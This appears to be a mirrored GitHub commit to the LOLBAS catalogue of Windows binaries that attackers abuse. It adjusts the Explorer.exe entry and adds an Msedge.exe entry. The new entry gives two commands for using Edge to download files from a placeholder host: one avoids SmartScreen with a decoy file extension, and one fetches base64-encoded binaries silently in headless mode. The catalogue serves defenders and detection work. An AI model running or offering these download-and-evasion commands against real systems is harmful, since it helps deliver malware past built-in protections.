mirror of
https://github.com/LOLBAS-Project/LOLBAS
synced 2025-07-26 20:22:24 +02:00
Several LOLBINs additions & modifications (#192)
Co-authored-by: Wietze <wietze@users.noreply.github.com>
This commit is contained in:
@@ -1,7 +1,7 @@
|
||||
---
|
||||
Name: Explorer.exe
|
||||
Description: Binary used for managing files and system components within Windows
|
||||
Author: 'Jai Minton'
|
||||
Author: Jai Minton
|
||||
Created: 2020-06-24
|
||||
Commands:
|
||||
- Command: explorer.exe /root,"C:\Windows\System32\calc.exe"
|
||||
@@ -21,8 +21,6 @@ Commands:
|
||||
Full_Path:
|
||||
- Path: C:\Windows\explorer.exe
|
||||
- Path: C:\Windows\SysWOW64\explorer.exe
|
||||
Code_Sample:
|
||||
- Code:
|
||||
Detection:
|
||||
- Sigma: https://github.com/SigmaHQ/sigma/blob/08ca62cc8860f4660e945805d0dd615ce75258c1/rules/windows/process_creation/win_susp_explorer_break_proctree.yml
|
||||
- Sigma: https://github.com/SigmaHQ/sigma/blob/08ca62cc8860f4660e945805d0dd615ce75258c1/rules/windows/process_creation/win_susp_explorer.yml
|
||||
|
29
yml/OSBinaries/Msedge.yml
Normal file
29
yml/OSBinaries/Msedge.yml
Normal file
@@ -0,0 +1,29 @@
|
||||
---
|
||||
Name: Msedge.exe
|
||||
Description: Microsoft Edge browser
|
||||
Author: mr.d0x
|
||||
Created: 2022-01-20
|
||||
Commands:
|
||||
- Command: msedge.exe https://example.com/file.exe.txt
|
||||
Description: Edge will launch and download the file. A harmless file extension (e.g. .txt, .zip) should be appended to avoid SmartScreen.
|
||||
Usecase: Download file from the internet
|
||||
Category: Download
|
||||
Privileges: User
|
||||
MitreID: T1105
|
||||
OperatingSystem: Windows 10, Windows 11
|
||||
- Command: msedge.exe --headless --enable-logging --disable-gpu --dump-dom "http://example.com/evil.b64.html" > out.b64
|
||||
Description: Edge will silently download the file. File extension should be .html and binaries should be encoded.
|
||||
Usecase: Download file from the internet
|
||||
Category: Download
|
||||
Privileges: User
|
||||
MitreID: T1105
|
||||
OperatingSystem: Windows 10, Windows 11
|
||||
Full_Path:
|
||||
- Path: c:\Program Files\Microsoft\Edge\Application\msedge.exe
|
||||
- Path: c:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
|
||||
Resources:
|
||||
- Link: https://twitter.com/mrd0x/status/1478116126005641220
|
||||
- Link: https://twitter.com/mrd0x/status/1478234484881436672
|
||||
Acknowledgement:
|
||||
- Person: mr.d0x
|
||||
Handle: '@mrd0x'
|
Reference in New Issue
Block a user